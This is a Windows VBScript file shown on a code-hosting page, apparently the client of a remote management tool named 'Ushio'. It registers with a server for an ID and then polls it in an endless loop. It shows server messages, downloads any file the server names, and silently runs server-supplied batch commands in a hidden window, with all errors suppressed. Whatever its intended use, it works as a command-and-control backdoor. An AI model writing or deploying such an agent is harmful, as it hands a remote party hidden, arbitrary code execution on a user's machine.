You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
104 lines
2.3 KiB
104 lines
2.3 KiB
On Error Resume Next |
|
Set sh = WScript.CreateObject("WScript.Shell") |
|
Set http = CreateObject("Msxml2.ServerXMLHTTP") |
|
set fs = CreateObject("Scripting.FileSystemObject") |
|
|
|
dim msg, oldmsg, id, cmd, oldcmd, url, oldurl, fname |
|
|
|
if fs.FileExists("C:\Ushio\etc\id") then |
|
set f = fs.OpenTextFile("C:\Ushio\etc\id", 1, false) |
|
id=f.readall |
|
f.Close() |
|
else |
|
do while 1 |
|
http.Open "GET","https://ushio-win.yimian.xyz/getId",0 |
|
http.send() |
|
if http.status=200 Then |
|
id=http.responsetext |
|
set f = fs.CreateTextFile("C:\Ushio\etc\id", true) |
|
f.Write(id) |
|
f.Close() |
|
exit do |
|
else |
|
WScript.Sleep 5000 |
|
end if |
|
loop |
|
end if |
|
|
|
if fs.FileExists("C:\Ushio\var\cache\msg") then |
|
set f = fs.OpenTextFile("C:\Ushio\var\cache\msg", 1, false) |
|
msg=f.readall |
|
f.Close() |
|
end if |
|
|
|
if fs.FileExists("C:\Ushio\var\cache\cmd.bat") then |
|
set f = fs.OpenTextFile("C:\Ushio\var\cache\cmd.bat", 1, false) |
|
cmd=f.readall |
|
f.Close() |
|
end if |
|
|
|
if fs.FileExists("C:\Ushio\var\cache\url") then |
|
set f = fs.OpenTextFile("C:\Ushio\var\cache\url", 1, false) |
|
url=f.readall |
|
f.Close() |
|
end if |
|
|
|
do while 1 |
|
|
|
oldmsg=msg |
|
http.Open "GET","https://ushio-win.yimian.xyz/getMsg?id="+id,0 |
|
http.send() |
|
if http.status=200 Then |
|
msg=http.responsetext |
|
end if |
|
if oldmsg<>msg Then |
|
msgbox msg,4096,"Ushio Message" |
|
set f = fs.CreateTextFile("C:\Ushio\var\cache\msg", true) |
|
f.Write(msg) |
|
f.Close() |
|
end if |
|
|
|
WScript.Sleep 5000 |
|
|
|
oldurl=url |
|
http.Open "GET","https://ushio-win.yimian.xyz/getDownload?id="+id,0 |
|
http.send() |
|
if http.status=200 Then |
|
url=http.responsetext |
|
end if |
|
if oldurl<>url Then |
|
set f = fs.CreateTextFile("C:\Ushio\var\cache\url", true) |
|
f.Write(url) |
|
f.Close() |
|
|
|
http.Open "GET",url,0 |
|
http.send() |
|
fname=Split(url, "/") |
|
Set aGet = CreateObject("ADODB.Stream") |
|
aGet.Mode = 3 |
|
aGet.Type = 1 |
|
aGet.Open() |
|
aGet.Write(http.responseBody) |
|
aGet.SaveToFile "C:\Ushio\var\download\"+fname(ubound(fname)),2 |
|
aGet.Close() |
|
end if |
|
|
|
WScript.Sleep 1000 |
|
|
|
oldcmd=cmd |
|
http.Open "GET","https://ushio-win.yimian.xyz/getCmd?id="+id,0 |
|
http.send() |
|
if http.status=200 Then |
|
cmd=http.responsetext |
|
end if |
|
if oldcmd<>cmd Then |
|
set f = fs.CreateTextFile("C:\Ushio\var\cache\cmd.bat", true) |
|
f.Write(cmd) |
|
f.Close() |
|
sh.run "C:\Ushio\var\cache\cmd.bat",0 |
|
end if |
|
|
|
|
|
|
|
WScript.Sleep 9000 |
|
loop |